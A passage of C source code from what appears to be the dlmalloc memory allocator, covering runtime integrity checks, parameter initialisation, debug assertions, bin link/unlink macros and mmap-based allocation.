#define compute_bit2idx(X, I)\
{\
unsigned int J;\
J = _bit_scan_forward (X); \
I = (bindex_t)J;\
}
#elif defined(_MSC_VER) && _MSC_VER>=1300
#define compute_bit2idx(X, I)\
{\
unsigned int J;\
_BitScanForward((DWORD *) &J, X);\
I = (bindex_t)J;\
}
#elif USE_BUILTIN_FFS
#define compute_bit2idx(X, I) I = ffs(X)-1
#else
#define compute_bit2idx(X, I)\
{\
unsigned int Y = X - 1;\
unsigned int K = Y >> (16-4) & 16;\
unsigned int N = K; Y >>= K;\
N += K = Y >> (8-3) & 8; Y >>= K;\
N += K = Y >> (4-2) & 4; Y >>= K;\
N += K = Y >> (2-1) & 2; Y >>= K;\
N += K = Y >> (1-0) & 1; Y >>= K;\
I = (bindex_t)(N + Y);\
}
#endif /* GNUC */
/* ----------------------- Runtime Check Support ------------------------- */
/*
For security, the main invariant is that malloc/free/etc never
writes to a static address other than malloc_state, unless static
malloc_state itself has been corrupted, which cannot occur via
malloc (because of these checks). In essence this means that we
believe all pointers, sizes, maps etc held in malloc_state, but
check all of those linked or offsetted from other embedded data
structures. These checks are interspersed with main code in a way
that tends to minimize their run-time cost.
When FOOTERS is defined, in addition to range checking, we also
verify footer fields of inuse chunks, which can be used guarantee
that the mstate controlling malloc/free is intact. This is a
streamlined version of the approach described by William Robertson
et al in "Run-time Detection of Heap-based Overflows" LISA'03
http://www.usenix.org/events/lisa03/tech/robertson.html The footer
of an inuse chunk holds the xor of its mstate and a random seed,
that is checked upon calls to free() and realloc(). This is
(probabalistically) unguessable from outside the program, but can be
computed by any code successfully malloc'ing any chunk, so does not
itself provide protection against code that has already broken
security through some other means. Unlike Robertson et al, we
always dynamically check addresses of all offset chunks (previous,
next, etc). This turns out to be cheaper than relying on hashes.
*/
#if !INSECURE
/* Check if address a is at least as high as any from MORECORE or MMAP */
#define ok_address(M, a) ((char*)(a) >= (M)->least_addr)
/* Check if address of next chunk n is higher than base chunk p */
#define ok_next(p, n) ((char*)(p) < (char*)(n))
/* Check if p has inuse status */
#define ok_inuse(p) is_inuse(p)
/* Check if p has its pinuse bit on */
#define ok_pinuse(p) pinuse(p)
#else /* !INSECURE */
#define ok_address(M, a) (1)
#define ok_next(b, n) (1)
#define ok_inuse(p) (1)
#define ok_pinuse(p) (1)
#endif /* !INSECURE */
#if (FOOTERS && !INSECURE)
/* Check if (alleged) mstate m has expected magic field */
#define ok_magic(M) ((M)->magic == mparams.magic)
#else /* (FOOTERS && !INSECURE) */
#define ok_magic(M) (1)
#endif /* (FOOTERS && !INSECURE) */
/* In gcc, use __builtin_expect to minimize impact of checks */
#if !INSECURE
#if defined(__GNUC__) && __GNUC__ >= 3
#define RTCHECK(e) __builtin_expect(e, 1)
#else /* GNUC */
#define RTCHECK(e) (e)
#endif /* GNUC */
#else /* !INSECURE */
#define RTCHECK(e) (1)
#endif /* !INSECURE */
/* macros to set up inuse chunks with or without footers */
#if !FOOTERS
#define mark_inuse_foot(M,p,s)
/* Macros for setting head/foot of non-mmapped chunks */
/* Set cinuse bit and pinuse bit of next chunk */
#define set_inuse(M,p,s)\
((p)->head = (((p)->head & PINUSE_BIT)|s|CINUSE_BIT),\
((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT)
/* Set cinuse and pinuse of this chunk and pinuse of next chunk */
#define set_inuse_and_pinuse(M,p,s)\
((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\
((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT)
/* Set size, cinuse and pinuse bit of this chunk */
#define set_size_and_pinuse_of_inuse_chunk(M, p, s)\
((p)->head = (s|PINUSE_BIT|CINUSE_BIT))
#else /* FOOTERS */
/* Set foot of inuse chunk to be xor of mstate and seed */
#define mark_inuse_foot(M,p,s)\
(((mchunkptr)((char*)(p) + (s)))->prev_foot = ((size_t)(M) ^ mparams.magic))
#define get_mstate_for(p)\
((mstate)(((mchunkptr)((char*)(p) +\
(chunksize(p))))->prev_foot ^ mparams.magic))
#define set_inuse(M,p,s)\
((p)->head = (((p)->head & PINUSE_BIT)|s|CINUSE_BIT),\
(((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT), \
mark_inuse_foot(M,p,s))
#define set_inuse_and_pinuse(M,p,s)\
((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\
(((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT),\
mark_inuse_foot(M,p,s))
#define set_size_and_pinuse_of_inuse_chunk(M, p, s)\
((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\
mark_inuse_foot(M, p, s))
#endif /* !FOOTERS */
/* ---------------------------- setting mparams -------------------------- */
#if LOCK_AT_FORK
static void pre_fork(void) { ACQUIRE_LOCK(&(gm)->mutex); }
static void post_fork_parent(void) { RELEASE_LOCK(&(gm)->mutex); }
static void post_fork_child(void) { INITIAL_LOCK(&(gm)->mutex); }
#endif /* LOCK_AT_FORK */
/* Initialize mparams */
static int init_mparams(void) {
#ifdef NEED_GLOBAL_LOCK_INIT
if (malloc_global_mutex_status <= 0)
init_malloc_global_mutex();
#endif
ACQUIRE_MALLOC_GLOBAL_LOCK();
if (mparams.magic == 0) {
size_t magic;
size_t psize;
size_t gsize;
#ifndef WIN32
psize = malloc_getpagesize;
gsize = ((DEFAULT_GRANULARITY != 0)? DEFAULT_GRANULARITY : psize);
#else /* WIN32 */
{
SYSTEM_INFO system_info;
GetSystemInfo(&system_info);
psize = system_info.dwPageSize;
gsize = ((DEFAULT_GRANULARITY != 0)?
DEFAULT_GRANULARITY : system_info.dwAllocationGranularity);
}
#endif /* WIN32 */
/* Sanity-check configuration:
size_t must be unsigned and as wide as pointer type.
ints must be at least 4 bytes.
alignment must be at least 8.
Alignment, min chunk size, and page size must all be powers of 2.
*/
if ((sizeof(size_t) != sizeof(char*)) ||
(MAX_SIZE_T < MIN_CHUNK_SIZE) ||
(sizeof(int) < 4) ||
(MALLOC_ALIGNMENT < (size_t)8U) ||
((MALLOC_ALIGNMENT & (MALLOC_ALIGNMENT-SIZE_T_ONE)) != 0) ||
((MCHUNK_SIZE & (MCHUNK_SIZE-SIZE_T_ONE)) != 0) ||
((gsize & (gsize-SIZE_T_ONE)) != 0) ||
((psize & (psize-SIZE_T_ONE)) != 0))
ABORT;
mparams.granularity = gsize;
mparams.page_size = psize;
mparams.mmap_threshold = DEFAULT_MMAP_THRESHOLD;
mparams.trim_threshold = DEFAULT_TRIM_THRESHOLD;
#if MORECORE_CONTIGUOUS
mparams.default_mflags = USE_LOCK_BIT|USE_MMAP_BIT;
#else /* MORECORE_CONTIGUOUS */
mparams.default_mflags = USE_LOCK_BIT|USE_MMAP_BIT|USE_NONCONTIGUOUS_BIT;
#endif /* MORECORE_CONTIGUOUS */
#if !ONLY_MSPACES
/* Set up lock for main malloc area */
gm->mflags = mparams.default_mflags;
(void)INITIAL_LOCK(&gm->mutex);
#endif
#if LOCK_AT_FORK
pthread_atfork(&pre_fork, &post_fork_parent, &post_fork_child);
#endif
{
#if USE_DEV_RANDOM
int fd;
unsigned char buf[sizeof(size_t)];
/* Try to use /dev/urandom, else fall back on using time */
if ((fd = open("/dev/urandom", O_RDONLY)) >= 0 &&
read(fd, buf, sizeof(buf)) == sizeof(buf)) {
magic = *((size_t *) buf);
close(fd);
}
else
#endif /* USE_DEV_RANDOM */
#ifdef WIN32
magic = (size_t)(GetTickCount() ^ (size_t)0x55555555U);
#elif defined(LACKS_TIME_H)
magic = (size_t)&magic ^ (size_t)0x55555555U;
#else
magic = (size_t)(time(0) ^ (size_t)0x55555555U);
#endif
magic |= (size_t)8U; /* ensure nonzero */
magic &= ~(size_t)7U; /* improve chances of fault for bad values */
/* Until memory modes commonly available, use volatile-write */
(*(volatile size_t *)(&(mparams.magic))) = magic;
}
}
RELEASE_MALLOC_GLOBAL_LOCK();
return 1;
}
/* support for mallopt */
static int change_mparam(int param_number, int value) {
size_t val;
ensure_initialization();
val = (value == -1)? MAX_SIZE_T : (size_t)value;
switch(param_number) {
case M_TRIM_THRESHOLD:
mparams.trim_threshold = val;
return 1;
case M_GRANULARITY:
if (val >= mparams.page_size && ((val & (val-1)) == 0)) {
mparams.granularity = val;
return 1;
}
else
return 0;
case M_MMAP_THRESHOLD:
mparams.mmap_threshold = val;
return 1;
default:
return 0;
}
}
#if DEBUG
/* ------------------------- Debugging Support --------------------------- */
/* Check properties of any chunk, whether free, inuse, mmapped etc */
static void do_check_any_chunk(mstate m, mchunkptr p) {
assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD));
assert(ok_address(m, p));
}
/* Check properties of top chunk */
static void do_check_top_chunk(mstate m, mchunkptr p) {
msegmentptr sp = segment_holding(m, (char*)p);
size_t sz = p->head & ~INUSE_BITS; /* third-lowest bit can be set! */
assert(sp != 0);
assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD));
assert(ok_address(m, p));
assert(sz == m->topsize);
assert(sz > 0);
assert(sz == ((sp->base + sp->size) - (char*)p) - TOP_FOOT_SIZE);
assert(pinuse(p));
assert(!pinuse(chunk_plus_offset(p, sz)));
}
/* Check properties of (inuse) mmapped chunks */
static void do_check_mmapped_chunk(mstate m, mchunkptr p) {
size_t sz = chunksize(p);
size_t len = (sz + (p->prev_foot) + MMAP_FOOT_PAD);
assert(is_mmapped(p));
assert(use_mmap(m));
assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD));
assert(ok_address(m, p));
assert(!is_small(sz));
assert((len & (mparams.page_size-SIZE_T_ONE)) == 0);
assert(chunk_plus_offset(p, sz)->head == FENCEPOST_HEAD);
assert(chunk_plus_offset(p, sz+SIZE_T_SIZE)->head == 0);
}
/* Check properties of inuse chunks */
static void do_check_inuse_chunk(mstate m, mchunkptr p) {
do_check_any_chunk(m, p);
assert(is_inuse(p));
assert(next_pinuse(p));
/* If not pinuse and not mmapped, previous chunk has OK offset */
assert(is_mmapped(p) || pinuse(p) || next_chunk(prev_chunk(p)) == p);
if (is_mmapped(p))
do_check_mmapped_chunk(m, p);
}
/* Check properties of free chunks */
static void do_check_free_chunk(mstate m, mchunkptr p) {
size_t sz = chunksize(p);
mchunkptr next = chunk_plus_offset(p, sz);
do_check_any_chunk(m, p);
assert(!is_inuse(p));
assert(!next_pinuse(p));
assert (!is_mmapped(p));
if (p != m->dv && p != m->top) {
if (sz >= MIN_CHUNK_SIZE) {
assert((sz & CHUNK_ALIGN_MASK) == 0);
assert(is_aligned(chunk2mem(p)));
assert(next->prev_foot == sz);
assert(pinuse(p));
assert (next == m->top || is_inuse(next));
assert(p->fd->bk == p);
assert(p->bk->fd == p);
}
else /* markers are always of size SIZE_T_SIZE */
assert(sz == SIZE_T_SIZE);
}
}
/* Check properties of malloced chunks at the point they are malloced */
static void do_check_malloced_chunk(mstate m, void* mem, size_t s) {
if (mem != 0) {
mchunkptr p = mem2chunk(mem);
size_t sz = p->head & ~INUSE_BITS;
do_check_inuse_chunk(m, p);
assert((sz & CHUNK_ALIGN_MASK) == 0);
assert(sz >= MIN_CHUNK_SIZE);
assert(sz >= s);
/* unless mmapped, size is less than MIN_CHUNK_SIZE more than request */
assert(is_mmapped(p) || sz < (s + MIN_CHUNK_SIZE));
}
}
/* Check a tree and its subtrees. */
static void do_check_tree(mstate m, tchunkptr t) {
tchunkptr head = 0;
tchunkptr u = t;
bindex_t tindex = t->index;
size_t tsize = chunksize(t);
bindex_t idx;
compute_tree_index(tsize, idx);
assert(tindex == idx);
assert(tsize >= MIN_LARGE_SIZE);
assert(tsize >= minsize_for_tree_index(idx));
assert((idx == NTREEBINS-1) || (tsize < minsize_for_tree_index((idx+1))));
do { /* traverse through chain of same-sized nodes */
do_check_any_chunk(m, ((mchunkptr)u));
assert(u->index == tindex);
assert(chunksize(u) == tsize);
assert(!is_inuse(u));
assert(!next_pinuse(u));
assert(u->fd->bk == u);
assert(u->bk->fd == u);
if (u->parent == 0) {
assert(u->child[0] == 0);
assert(u->child[1] == 0);
}
else {
assert(head == 0); /* only one node on chain has parent */
head = u;
assert(u->parent != u);
assert (u->parent->child[0] == u ||
u->parent->child[1] == u ||
*((tbinptr*)(u->parent)) == u);
if (u->child[0] != 0) {
assert(u->child[0]->parent == u);
assert(u->child[0] != u);
do_check_tree(m, u->child[0]);
}
if (u->child[1] != 0) {
assert(u->child[1]->parent == u);
assert(u->child[1] != u);
do_check_tree(m, u->child[1]);
}
if (u->child[0] != 0 && u->child[1] != 0) {
assert(chunksize(u->child[0]) < chunksize(u->child[1]));
}
}
u = u->fd;
} while (u != t);
assert(head != 0);
}
/* Check all the chunks in a treebin. */
static void do_check_treebin(mstate m, bindex_t i) {
tbinptr* tb = treebin_at(m, i);
tchunkptr t = *tb;
int empty = (m->treemap & (1U << i)) == 0;
if (t == 0)
assert(empty);
if (!empty)
do_check_tree(m, t);
}
/* Check all the chunks in a smallbin. */
static void do_check_smallbin(mstate m, bindex_t i) {
sbinptr b = smallbin_at(m, i);
mchunkptr p = b->bk;
unsigned int empty = (m->smallmap & (1U << i)) == 0;
if (p == b)
assert(empty);
if (!empty) {
for (; p != b; p = p->bk) {
size_t size = chunksize(p);
mchunkptr q;
/* each chunk claims to be free */
do_check_free_chunk(m, p);
/* chunk belongs in bin */
assert(small_index(size) == i);
assert(p->bk == b || chunksize(p->bk) == chunksize(p));
/* chunk is followed by an inuse chunk */
q = next_chunk(p);
if (q->head != FENCEPOST_HEAD)
do_check_inuse_chunk(m, q);
}
}
}
/* Find x in a bin. Used in other check functions. */
static int bin_find(mstate m, mchunkptr x) {
size_t size = chunksize(x);
if (is_small(size)) {
bindex_t sidx = small_index(size);
sbinptr b = smallbin_at(m, sidx);
if (smallmap_is_marked(m, sidx)) {
mchunkptr p = b;
do {
if (p == x)
return 1;
} while ((p = p->fd) != b);
}
}
else {
bindex_t tidx;
compute_tree_index(size, tidx);
if (treemap_is_marked(m, tidx)) {
tchunkptr t = *treebin_at(m, tidx);
size_t sizebits = size << leftshift_for_tree_index(tidx);
while (t != 0 && chunksize(t) != size) {
t = t->child[(sizebits >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1];
sizebits <<= 1;
}
if (t != 0) {
tchunkptr u = t;
do {
if (u == (tchunkptr)x)
return 1;
} while ((u = u->fd) != t);
}
}
}
return 0;
}
/* Traverse each chunk and check it; return total */
static size_t traverse_and_check(mstate m) {
size_t sum = 0;
if (is_initialized(m)) {
msegmentptr s = &m->seg;
sum += m->topsize + TOP_FOOT_SIZE;
while (s != 0) {
mchunkptr q = align_as_chunk(s->base);
mchunkptr lastq = 0;
assert(pinuse(q));
while (segment_holds(s, q) &&
q != m->top && q->head != FENCEPOST_HEAD) {
sum += chunksize(q);
if (is_inuse(q)) {
assert(!bin_find(m, q));
do_check_inuse_chunk(m, q);
}
else {
assert(q == m->dv || bin_find(m, q));
assert(lastq == 0 || is_inuse(lastq)); /* Not 2 consecutive free */
do_check_free_chunk(m, q);
}
lastq = q;
q = next_chunk(q);
}
s = s->next;
}
}
return sum;
}
/* Check all properties of malloc_state. */
static void do_check_malloc_state(mstate m) {
bindex_t i;
size_t total;
/* check bins */
for (i = 0; i < NSMALLBINS; ++i)
do_check_smallbin(m, i);
for (i = 0; i < NTREEBINS; ++i)
do_check_treebin(m, i);
if (m->dvsize != 0) { /* check dv chunk */
do_check_any_chunk(m, m->dv);
assert(m->dvsize == chunksize(m->dv));
assert(m->dvsize >= MIN_CHUNK_SIZE);
assert(bin_find(m, m->dv) == 0);
}
if (m->top != 0) { /* check top chunk */
do_check_top_chunk(m, m->top);
/*assert(m->topsize == chunksize(m->top)); redundant */
assert(m->topsize > 0);
assert(bin_find(m, m->top) == 0);
}
total = traverse_and_check(m);
assert(total <= m->footprint);
assert(m->footprint <= m->max_footprint);
}
#endif /* DEBUG */
/* ----------------------------- statistics ------------------------------ */
#if !NO_MALLINFO
static struct mallinfo internal_mallinfo(mstate m) {
struct mallinfo nm = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
ensure_initialization();
if (!PREACTION(m)) {
check_malloc_state(m);
if (is_initialized(m)) {
size_t nfree = SIZE_T_ONE; /* top always free */
size_t mfree = m->topsize + TOP_FOOT_SIZE;
size_t sum = mfree;
msegmentptr s = &m->seg;
while (s != 0) {
mchunkptr q = align_as_chunk(s->base);
while (segment_holds(s, q) &&
q != m->top && q->head != FENCEPOST_HEAD) {
size_t sz = chunksize(q);
sum += sz;
if (!is_inuse(q)) {
mfree += sz;
++nfree;
}
q = next_chunk(q);
}
s = s->next;
}
nm.arena = sum;
nm.ordblks = nfree;
nm.hblkhd = m->footprint - sum;
nm.usmblks = m->max_footprint;
nm.uordblks = m->footprint - mfree;
nm.fordblks = mfree;
nm.keepcost = m->topsize;
}
POSTACTION(m);
}
return nm;
}
#endif /* !NO_MALLINFO */
#if !NO_MALLOC_STATS
static void internal_malloc_stats(mstate m) {
ensure_initialization();
if (!PREACTION(m)) {
size_t maxfp = 0;
size_t fp = 0;
size_t used = 0;
check_malloc_state(m);
if (is_initialized(m)) {
msegmentptr s = &m->seg;
maxfp = m->max_footprint;
fp = m->footprint;
used = fp - (m->topsize + TOP_FOOT_SIZE);
while (s != 0) {
mchunkptr q = align_as_chunk(s->base);
while (segment_holds(s, q) &&
q != m->top && q->head != FENCEPOST_HEAD) {
if (!is_inuse(q))
used -= chunksize(q);
q = next_chunk(q);
}
s = s->next;
}
}
POSTACTION(m); /* drop lock */
fprintf(stderr, "max system bytes = %10lu\n", (unsigned long)(maxfp));
fprintf(stderr, "system bytes = %10lu\n", (unsigned long)(fp));
fprintf(stderr, "in use bytes = %10lu\n", (unsigned long)(used));
}
}
#endif /* NO_MALLOC_STATS */
/* ----------------------- Operations on smallbins ----------------------- */
/*
Various forms of linking and unlinking are defined as macros. Even
the ones for trees, which are very long but have very short typical
paths. This is ugly but reduces reliance on inlining support of
compilers.
*/
/* Link a free chunk into a smallbin */
#define insert_small_chunk(M, P, S) {\
bindex_t I = small_index(S);\
mchunkptr B = smallbin_at(M, I);\
mchunkptr F = B;\
assert(S >= MIN_CHUNK_SIZE);\
if (!smallmap_is_marked(M, I))\
mark_smallmap(M, I);\
else if (RTCHECK(ok_address(M, B->fd)))\
F = B->fd;\
else {\
CORRUPTION_ERROR_ACTION(M);\
}\
B->fd = P;\
F->bk = P;\
P->fd = F;\
P->bk = B;\
}
/* Unlink a chunk from a smallbin */
#define unlink_small_chunk(M, P, S) {\
mchunkptr F = P->fd;\
mchunkptr B = P->bk;\
bindex_t I = small_index(S);\
assert(P != B);\
assert(P != F);\
assert(chunksize(P) == small_index2size(I));\
if (RTCHECK(F == smallbin_at(M,I) || (ok_address(M, F) && F->bk == P))) { \
if (B == F) {\
clear_smallmap(M, I);\
}\
else if (RTCHECK(B == smallbin_at(M,I) ||\
(ok_address(M, B) && B->fd == P))) {\
F->bk = B;\
B->fd = F;\
}\
else {\
CORRUPTION_ERROR_ACTION(M);\
}\
}\
else {\
CORRUPTION_ERROR_ACTION(M);\
}\
}
/* Unlink the first chunk from a smallbin */
#define unlink_first_small_chunk(M, B, P, I) {\
mchunkptr F = P->fd;\
assert(P != B);\
assert(P != F);\
assert(chunksize(P) == small_index2size(I));\
if (B == F) {\
clear_smallmap(M, I);\
}\
else if (RTCHECK(ok_address(M, F) && F->bk == P)) {\
F->bk = B;\
B->fd = F;\
}\
else {\
CORRUPTION_ERROR_ACTION(M);\
}\
}
/* Replace dv node, binning the old one */
/* Used only when dvsize known to be small */
#define replace_dv(M, P, S) {\
size_t DVS = M->dvsize;\
assert(is_small(DVS));\
if (DVS != 0) {\
mchunkptr DV = M->dv;\
insert_small_chunk(M, DV, DVS);\
}\
M->dvsize = S;\
M->dv = P;\
}
/* ------------------------- Operations on trees ------------------------- */
/* Insert chunk into tree */
#define insert_large_chunk(M, X, S) {\
tbinptr* H;\
bindex_t I;\
compute_tree_index(S, I);\
H = treebin_at(M, I);\
X->index = I;\
X->child[0] = X->child[1] = 0;\
if (!treemap_is_marked(M, I)) {\
mark_treemap(M, I);\
*H = X;\
X->parent = (tchunkptr)H;\
X->fd = X->bk = X;\
}\
else {\
tchunkptr T = *H;\
size_t K = S << leftshift_for_tree_index(I);\
for (;;) {\
if (chunksize(T) != S) {\
tchunkptr* C = &(T->child[(K >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1]);\
K <<= 1;\
if (*C != 0)\
T = *C;\
else if (RTCHECK(ok_address(M, C))) {\
*C = X;\
X->parent = T;\
X->fd = X->bk = X;\
break;\
}\
else {\
CORRUPTION_ERROR_ACTION(M);\
break;\
}\
}\
else {\
tchunkptr F = T->fd;\
if (RTCHECK(ok_address(M, T) && ok_address(M, F))) {\
T->fd = F->bk = X;\
X->fd = F;\
X->bk = T;\
X->parent = 0;\
break;\
}\
else {\
CORRUPTION_ERROR_ACTION(M);\
break;\
}\
}\
}\
}\
}
/*
Unlink steps:
1. If x is a chained node, unlink it from its same-sized fd/bk links
and choose its bk node as its replacement.
2. If x was the last node of its size, but not a leaf node, it must
be replaced with a leaf node (not merely one with an open left or
right), to make sure that lefts and rights of descendents
correspond properly to bit masks. We use the rightmost descendent
of x. We could use any other leaf, but this is easy to locate and
tends to counteract removal of leftmosts elsewhere, and so keeps
paths shorter than minimally guaranteed. This doesn't loop much
because on average a node in a tree is near the bottom.
3. If x is the base of a chain (i.e., has parent links) relink
x's parent and children to x's replacement (or null if none).
*/
#define unlink_large_chunk(M, X) {\
tchunkptr XP = X->parent;\
tchunkptr R;\
if (X->bk != X) {\
tchunkptr F = X->fd;\
R = X->bk;\
if (RTCHECK(ok_address(M, F) && F->bk == X && R->fd == X)) {\
F->bk = R;\
R->fd = F;\
}\
else {\
CORRUPTION_ERROR_ACTION(M);\
}\
}\
else {\
tchunkptr* RP;\
if (((R = *(RP = &(X->child[1]))) != 0) ||\
((R = *(RP = &(X->child[0]))) != 0)) {\
tchunkptr* CP;\
while ((*(CP = &(R->child[1])) != 0) ||\
(*(CP = &(R->child[0])) != 0)) {\
R = *(RP = CP);\
}\
if (RTCHECK(ok_address(M, RP)))\
*RP = 0;\
else {\
CORRUPTION_ERROR_ACTION(M);\
}\
}\
}\
if (XP != 0) {\
tbinptr* H = treebin_at(M, X->index);\
if (X == *H) {\
if ((*H = R) == 0) \
clear_treemap(M, X->index);\
}\
else if (RTCHECK(ok_address(M, XP))) {\
if (XP->child[0] == X) \
XP->child[0] = R;\
else \
XP->child[1] = R;\
}\
else\
CORRUPTION_ERROR_ACTION(M);\
if (R != 0) {\
if (RTCHECK(ok_address(M, R))) {\
tchunkptr C0, C1;\
R->parent = XP;\
if ((C0 = X->child[0]) != 0) {\
if (RTCHECK(ok_address(M, C0))) {\
R->child[0] = C0;\
C0->parent = R;\
}\
else\
CORRUPTION_ERROR_ACTION(M);\
}\
if ((C1 = X->child[1]) != 0) {\
if (RTCHECK(ok_address(M, C1))) {\
R->child[1] = C1;\
C1->parent = R;\
}\
else\
CORRUPTION_ERROR_ACTION(M);\
}\
}\
else\
CORRUPTION_ERROR_ACTION(M);\
}\
}\
}
/* Relays to large vs small bin operations */
#define insert_chunk(M, P, S)\
if (is_small(S)) insert_small_chunk(M, P, S)\
else { tchunkptr TP = (tchunkptr)(P); insert_large_chunk(M, TP, S); }
#define unlink_chunk(M, P, S)\
if (is_small(S)) unlink_small_chunk(M, P, S)\
else { tchunkptr TP = (tchunkptr)(P); unlink_large_chunk(M, TP); }
/* Relays to internal calls to malloc/free from realloc, memalign etc */
#if ONLY_MSPACES
#define internal_malloc(m, b) mspace_malloc(m, b)
#define internal_free(m, mem) mspace_free(m,mem);
#else /* ONLY_MSPACES */
#if MSPACES
#define internal_malloc(m, b)\
((m == gm)? dlmalloc(b) : mspace_malloc(m, b))
#define internal_free(m, mem)\
if (m == gm) dlfree(mem); else mspace_free(m,mem);
#else /* MSPACES */
#define internal_malloc(m, b) dlmalloc(b)
#define internal_free(m, mem) dlfree(mem)
#endif /* MSPACES */
#endif /* ONLY_MSPACES */
/* ----------------------- Direct-mmapping chunks ----------------------- */
/*
Directly mmapped chunks are set up with an offset to the start of
the mmapped region stored in the prev_foot field of the chunk. This
allows reconstruction of the required argument to MUNMAP when freed,
and also allows adjustment of the returned chunk to meet alignment
requirements (especially in memalign).
*/
/* Malloc using mmap */
static void* mmap_alloc(mstate m, size_t nb) {
size_t mmsize = mmap_align(nb + SIX_SIZE_T_SIZES + CHUNK_ALIGN_MASK);
if (m->footprint_limit != 0) {
size_t fp = m->footprint + mmsize;
if (fp <= m->footprint || fp > m->footprint_limit)
return 0;
}
if (mmsize > nb) { /* Check for wrap around 0 */
char* mm = (char*)(CALL_DIRECT_MMAP(mmsize));
if (mm != CMFAIL) {
size_t offset = align_offset(chunk2mem(mm));
size_t psize = mmsize - offset - MMAP_FOOT_PAD;
mchunkptr p = (mchunkptr)(mm + offset);
p->prev_foot = offset;
p->head = psize;
mark_inuse_foot(m, p, psize);
chunk_plus_offset(p, psize)->head = FENCEPOST_HEAD;
chunk_plus_offset(p, psize+SIZE_T_SIZE)->head = 0;
if (m->least_addr == 0 || mm < m->least_addr)
m->least_addr = mm;
if ((m->footprint += mmsize) > m->max_footprint)
m->max_footprint = m->footprint;
assert(is_aligned(chunk2mem(p)));
check_mmapped_chunk(m, p);
return chunk2mem(p);
}
}
return 0;
}
/* Realloc using mmap */
static mchunkptr mmap_resize(mstate m, mchunkptr oldp, size_t nb, int flags) {
size_t oldsize = chunksize(oldp);
(void)flags; /* placate people compiling -Wunused */
if (is_small(nb)) /* Can't shrink mmap regions below small size */
return 0;
/* Keep old chunk if big enough but not too big */
if (oldsize >= nb + SIZE_T_SIZE &&
(oldsize - nb) <= (mparams.granularity << 1))
return oldp;
else {
size_t offset = oldp->prev_foot;
size_t oldmmsize = oldsize + offset + MMAP_FOOT_PAD;
size_t newmmsize = mmap_align(nb + SIX_SIZE_T_SIZES + CHUNK_ALIGN_MASK);
char* cp = (char*)CALL_MREMAP((char*)oldp - offset,
oldmmsize, newmmsize, flags);
if (cp != CMFAIL) {
mchunkptr newp = (mchunkptr)(cp + offset);
size_t psize = newmmsize - offset - MMAP_FOOT_PAD;
newp->head = psize;
mark_inuse_foot(m, newp, psize);
chunk_plus_offset(newp, psize)->head = FENCEPOST_HEAD;
chunk_plus_offset(newp, psize+SIZE_T_SIZE)->head = 0;
if (cp < m->least_addr)
m->least_addr = cp;
if ((m->footprint += newmmsize - oldmmsize) > m->max_footprint)
m->max_footprint = m->footprint;
check_mmapped_chunk(m, newp);
return newp;
}
}
return 0;
}
/* -------------------------- mspace management -------------------------- */
/* Initialize top chunk and its size */
static void init_top(mstate m, mchunkptr p, size_t psize) {
/* Ensure alignment */
size_t offset = align_offset(chunk2mem(p));
p = (mchunkptr)((char*)p + offset);
psize -= offset;
m->top = p;
m->topsize = psize;
p->head = psize | PINUSE_BIT;
/* set size of fake trailing chunk holding overhead space only once */
chunk_plus_offset(p, psize)->head = TOP_FOOT_SIZE;
m->trim_check = mparams.trim_threshold; /* reset on each update */
}
/* Initialize bins for a new mstate that is otherwise zeroed out */
static void init_bins(mstate m) {
/* Establish circular links for smallbins */
bindex_t i;
for (i = 0; i < NSMALLBINS; ++i) {
sbinptr bin = smallbin_at(m,i);
bin->fd = bin->bk = bin;
}
}
#if PROCEED_ON_ERROR
/* default corruption action */
static void reset_on_error(mstate m) {
int i;
++malloc_corruption_error_count;
/* Reinitialize fields to forget about all memory */
m->smallmap = m->treemap = 0;
m->dvsize = m->topsize = 0;
m->seg.base = 0;
m->seg.size = 0;
m->seg.next = 0;
m->top = m->dv = 0;
for (i = 0; i < NTREEBINS; ++i)
*treebin_at(m, i) = 0;
init_bins(m);
}
#endif /* PROCEED_ON_ERROR */
/* Allocate chunk and prepend remainder with chunk in successor base. */
static void* prepend_alloc(mstate m, char* newbase, char* oldbase,
size_t nb) {
mchunkptr p = align_as_chunk(newbase);
mchunkptr oldfirst = align_as_chunk(oldbase);
size_t psize = (char*)oldfirst - (char*)p;
mchunkptr q = chunk_plus_offset(p, nb);
size_t qsize = psize - nb;
set_size_and_pinuse_of_inuse_chunk(m, p, nb);
assert((char*)oldfirst > (char*)q);
assert(pinuse(oldfirst));
assert(qsize >= MIN_CHUNK_SIZE);
/* consolidate remainder with first chunk of old base */
if (oldfirst == m->top) {
size_t tsize = m->topsize += qsize;
m->top = q;
q->head = tsize | PINUSE_BIT;
check_top_chunk(m, q);
}
else if (oldfirst == m->dv) {
size_t dsize = m->dvsize += qsize;
m->dv = q;
set_size_and_pinuse_of_free_chunk(q, dsize);
}
else {
if (!is_inuse(oldfirst)) {
size_t nsize = chunksize(oldfirst);
unlink_chunk(m, oldfirst, nsize);
oldfirst = chunk_plus_offset(oldfirst, nsize);
qsize += nsize;
}
set_free_with_pinuse(q, qsize, oldfirst);
insert_chunk(m, q, qsize);
check_free_chunk(m, q);
}
check_malloced_chunk(m, chunk2mem(p), nb);
return chunk2mem(p);
}
/* Add a segment to hold a new noncontiguous region */
static void add_segment(mstate m, char* tbase, size_t tsize, flag_t mmapped) {
/* Determine locations and sizes of segment, fenceposts, old top */
char* old_top = (char*)m->top;
msegmentptr oldsp = segment_holding(m, old_top);
char* old_end = oldsp->base + oldsp->size;
size_t ssize = pad_request(sizeof(struct malloc_segment));
char* rawsp = old_end - (ssize + FOUR_SIZE_T_SIZES + CHUNK_ALIGN_MASK);
size_t offset = align_offset(chunk2mem(rawsp));
char* asp = rawsp + offset;
char* csp = (asp < (old_top + MIN_CHUNK_SIZE))? old_top : asp;
mchunkptr sp = (mchunkptr)csp;
msegmentptr ss = (msegmentptr)(chunk2mem(sp));
mchunkptr tnext = chunk_plus_offset(sp, ssize);
